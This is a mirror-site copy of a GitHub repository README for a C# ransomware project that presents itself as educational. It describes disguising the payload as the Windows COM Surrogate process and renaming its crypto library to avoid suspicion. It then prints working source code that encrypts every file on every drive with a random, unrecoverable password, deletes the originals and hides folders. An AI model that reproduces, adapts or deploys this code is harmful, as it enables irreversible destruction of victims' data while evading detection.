Giter Site home page Giter Site logo

agpanic / ransomware Goto Github PK

View Code? Open in Web Editor NEW

This project forked from sepppenner/ransomware

1.0 0.0 0.0 3.66 MB

Ransomware is a project written in C# 4.8 and shows how ransomeware generally works. This repository should be used for educational reasons only!!

License: GNU General Public License v3.0

C# 72.82% Inno Setup 27.18%

ransomware's Introduction

Ransomware

Ransomware is a project written in C# 4.8 and shows how ransomeware generally works. This repository should be used for educational reasons only!!

Build status GitHub issues GitHub forks GitHub stars GitHub license Known Vulnerabilities

Folders

The Setup folder contains a Inno Setup script and the installer.

The BeforeSetup folder contains the files the setup installs.

The Projects folder contains the C# source code.

The stuff behind

The LustigeFehler.exe file is the main exe. It will start and show some nonsense error messages.

If it's not run in admin mode, it will crash with an error. If the .exe is started in admin mode, it will start up a new hidden (can't be seen in the taskbar or as GUI) process called COM Surrogate in the background.

Why COM Surrogate? - Because noone will ever expect a standard Windows process is running as a virus. In the background, the our Fake COM Surrogate.exe will run and try to encrypt all files on all drives it finds.

Additionally, it will hide all folders it finds. Furthermore, the AES crypto library is obfuscated to the name msvpc.dll to avoid that suspicious users (who take a look into the install folder) get more suspicious.

How is this possible? - The following lines of code taken from Main.cs show the main ransomware code.

private string GetRandomPassword()
{
   var alg = SHA512.Create();
   alg.ComputeHash(Encoding.UTF8.GetBytes(DateTime.Now.ToLongDateString() + _random.Next(int.MaxValue)));
   return BitConverter.ToString(alg.Hash);
}

private void Run()
{
   foreach (var drive in DriveInfo.GetDrives())
   {
      try
      {
         EncryptFs(drive.Name);
      }
      catch
      {
         // ignored
      }
   }
}

private void EncryptFs(string directory)
{
   foreach (var file in Directory.GetFiles(directory))
   {
      try
      {
         if (file == null) continue;
         Msvpc.UseE(GetRandomPassword(), file,
            Path.Combine(directory, Path.GetFileNameWithoutExtension(file)) + Resources.Ending);
         File.Delete(file);
      }
      catch
      {
         // ignored
      }
   }

   foreach (var dir in Directory.GetDirectories(directory))
   {
      HideDirectory(dir);
      EncryptFs(dir);
   }
}

private void HideDirectory(string dir)
{
   var di = new DirectoryInfo(dir);
   if ((di.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
   {
      di.Attributes |= FileAttributes.Hidden;
   }
}

private bool IsElevated()
{
   var id = WindowsIdentity.GetCurrent();
   return id.Owner != id.User;
}

Virustotal.com scans

Well, let's see what virustotal.com shows us as information on this "virus":

Hint

Please don't try this software on your PC. It's for educational purposes only!!!!!!

Change history

  • Version 1.0.0.1 (2019-05-07) : Updated .Net version to 4.8.
  • Version 1.0.0.0 (2018-01-08) : 1.0 release.

ransomware's People

Contributors

sepppenner avatar

Stargazers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.